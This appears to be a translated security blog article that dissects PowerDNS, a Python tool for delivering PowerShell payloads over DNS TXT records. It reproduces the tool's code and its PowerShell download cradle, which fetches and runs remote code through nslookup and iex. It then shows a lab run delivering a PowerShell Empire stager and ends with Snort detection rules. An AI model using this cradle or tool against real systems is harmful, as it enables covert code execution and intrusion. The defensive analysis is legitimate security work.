In this article we will talk about a new tool that allows you to transfer Powershell scripts to a target machine inside DNS packets in order to hide traffic. Let's look at how PowerDNS works and how to protect against such attacks.
Parsing code
The tool can be downloaded
on the official GitHub .
After cloning the repository inside you will find the file powerdns.py. This script, written in python, in essence, consists the whole tool. Let's see what he does.
We study the import section
')
import scapy, sys from scapy.all import * import base64 import signal import argparse
Immediately pay attention to the fact that PowerDSN uses
scapy to work with network packets.
Next we need to set the interface to listen. Note that this option cannot be set via command line parameters.
INTERFACE = 'eth0' chunks = [] domain = ''
Next come the descriptions of the launch validation functions -
validate_args () , showing a banner from the banner.txt file -
show_banner () , we will not analyze them.
The next function is more interesting -
base64_file (file) .
def base64_file(file): try: with open(file, "rb") as powershell_file: encoded_string = base64.b64encode(powershell_file.read()) return encoded_string except: print("\033[1;34m[*] PowerDNS:\033[0;0m Error opening file") sys.exit(-1)
It opens the file that we pass in the parameters at startup and encodes its contents in
Base64 .
The following describes the
get_chunks (file) function
. def get_chunks(file): tmp_chunks = [] encoded_file = base64_file(file) for i in range(0,len(encoded_file), 250): tmp_chunks.append(encoded_file[i:i+250]) return tmp_chunks
Which breaks the Base64 payload, obtained using the base64_file function into parts of 250 characters each.
Next comes the main function that performs the correct sending of payload inside DNS packets -
powerdnsHandler (data) def powerdnsHandler(data): if data.haslayer(DNS) and data.haslayer(DNSQR): global chunks ip = data.getlayer(IP) udp = data.getlayer(UDP) dns = data.getlayer(DNS) dnsqr = data.getlayer(DNSQR) print('\033[1;34m[*] PowerDNS:\033[0;0m Received DNS Query for %s from %s' % (dnsqr.qname, ip.src))
If the script receives a DNS packet, the console displays the string “Received DNS Query for ...”
if len(dnsqr.qname) !=0 and dnsqr.qtype == 16: try: response = chunks[int(dnsqr.qname.split('.')[0])] except: return rdata=response rcode=0 dn = domain an = (None, DNSRR(rrname=dnsqr.qname, type='TXT', rdata=rdata, ttl=1))[rcode == 0] ns = DNSRR(rrname=dnsqr.qname, type="NS", ttl=1, rdata="ns1."+dn) forged = IP(id=ip.id, src=ip.dst, dst=ip.src) /UDP(sport=udp.dport, dport=udp.sport) / DNS(id=dns.id, qr=1, rd=1, ra=1, rcode=rcode, qd=dnsqr, an=an, ns=ns) send(forged, verbose=0, iface=INTERFACE)
If the type of requested TXT record (
see DNS Resource Record Types ), then a payload part (
chunks [int (dnsqr.qname.split ('.') [0])] is sent inside the DNS packet, and that part that was query
dnsqr.qname .
Next comes the main body of the program.
try: show_banner() args = validate_args() signal.signal(signal.SIGINT, signal_handler) chunks = get_chunks(args.file) domain = args.domain
Here, the launch is checked for correctness and the parameter values are read.
Then we see an interesting line with the variable
STAGER_CMD STAGER_CMD = "for ($i=1;$i -le %s;$i++){$b64+=iex(nslookup -q=txt -timeout=3 $i'.%s')[-1]};iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(($b64))))" % (str(len(chunks)), domain)
This is the powershell loader of the script that we passed in the launch parameters. This script will be transmitted to the target machine first. When running this script, PowerShell will loop through commands like this
nslookup -q=txt -timeout=3 0.domain.com nslookup -q=txt -timeout=3 1.domain.com nslookup -q=txt -timeout=3 2.domain.com ...
And thus get the payload in parts, which are stored in the variable
chunks .
Further, the user is displayed on how many parts the selected powershell script has been broken. After that, the zero index in the list is inserted Download Cradle script
STAGER_CMD .
print("\033[1;34m[*] PowerDNS:\033[0;0m Splitting %s in to %s chunk(s)" % (args.file, str(len(chunks)))) chunks.insert(0,STAGER_CMD)
To see which parts of our script was broken, you can insert after
chunks.insert for j in chunks: print chunks.index(j) print j
The user will be shown the command to be executed on the target machine.
print("\033[1;34m[*] PowerDNS:\033[0;0m Use the following download cradle:\n\033[1;34m[*] PowerDNS:\033[0;0m powershell \"powershell (nslookup -q=txt -timeout=5 0.%s)[-1]\"" % (domain))
This is a view command.
powershell "powershell (nslookup -q=txt -timeout=5 0.domain.com)[-1]"
Those. Powershell will get the Download Cradle code via a TXT write request to 0.domain.com (STAGER_CMD is stored under the zero index), execute it and start the cycle of getting the main script in Base64. We use [-1] because we need to transfer to the PowerShell the Download Cradle interpreter, and not the DNS server name, etc. In your case, you may have to use a different line to transfer the correct part of the answer from nslookup to PowerShell.
And the last lines of the code start listening for DNS queries on the selected interface. When a request is received, the
powerdnsHandler function is
called. while True: mSniff = sniff(filter="udp dst port 53", iface=INTERFACE, prn=powerdnsHandler) except Exception as e: sys.exit(-1)
If something does not work for you, I would add the code with the line print (e) before sys.exit to see execution errors.
Practical example
As a payload, i.e. the main powershell script, I will use the
Powershell Empire steager.
I create leafer

I generate a code of a pager and I place it in the payload.ps1 file

I have to run powerdns.py on an authoritative DNS server whose zone I control.
In my test infrastructure, I use the domain sub.secret.lab. Run on this machine PowerDNS
python powerdns.py --file payload.ps1 --domain sub.secret.lab
Now I have to execute Download Cradle on a remote machine.

After executing the powershell command, I start to see the following entries in the PowerDNS console
[*] PowerDNS: Use the following download cradle: [*] PowerDNS: powershell "powershell (nslookup -q=txt -timeout=5 0.sub.secret.lab)[-1]" [*] PowerDNS: Received DNS Query for 3.1.168.192.in-addr.arpa. from 192.168.1.10 [*] PowerDNS: Received DNS Query for 0.sub.secret.lab. from 192.168.1.10 [*] PowerDNS: Received DNS Query for 3.1.168.192.in-addr.arpa. from 192.168.1.10 [*] PowerDNS: Received DNS Query for 1.sub.secret.lab. from 192.168.1.10 [*] PowerDNS: Received DNS Query for 3.1.168.192.in-addr.arpa. from 192.168.1.10 [*] PowerDNS: Received DNS Query for 2.sub.secret.lab. from 192.168.1.10 [*] PowerDNS: Received DNS Query for 3.1.168.192.in-addr.arpa. from 192.168.1.10 [*] PowerDNS: Received DNS Query for 3.sub.secret.lab. from 192.168.1.10 [*] PowerDNS: Received DNS Query for 3.1.168.192.in-addr.arpa. from 192.168.1.10 ...
If you run the wireshark sniffer and examine the DNS packets, we will see the following

Request

And the answer is (Download Cradle, which is returned when querying for 0.sub.secret.lab)

After receiving the last part of the script, we see a message in PowerShell Empire about successful connection of the agent

And, as we see, he is a worker

Protection
To block this particular script, you can search DNS lookups for the Download Cradle signature, i.e. something like
for ($i=1;$i -le 19;$i++){$b64+=iex(nslookup -q=txt -timeout=3 $i'.sub.secret.lab'
The rule for network IPS Snort 2.X might look something like this
drop udp any 53 <> any any (content: "| 7b 24 62 36 34 2b 3d 69 65 78 28 |"; msg:"PowerDNS Detected!"; sid:10000002; rev:001;)
Result



However, Download Cradle can be more complicated and obfuscated, for example with the
Invoke-CradleCrafter . Then this rule will not work.
In this case, you can pay attention to exceeding the threshold number of DNS queries like TXT, using a similar rule
alert udp any any -> any 53 (msg:"High TXT requests - Potential DNS Tunneling"; content:"|00 00 10 00 01|"; offset:12; threshold: type threshold, track by_src, count 3, seconds 30; sid: 1000003; rev: 001;)
Result

It should be borne in mind that DNS tunnels can use not only the TXT record type, so these examples demonstrate protection specifically from the PowerDNS tool. There are a lot of tools for creating DNS tunnels, so for effective protection it is recommended to make sure that your rules protect the infrastructure from all types of tunnels.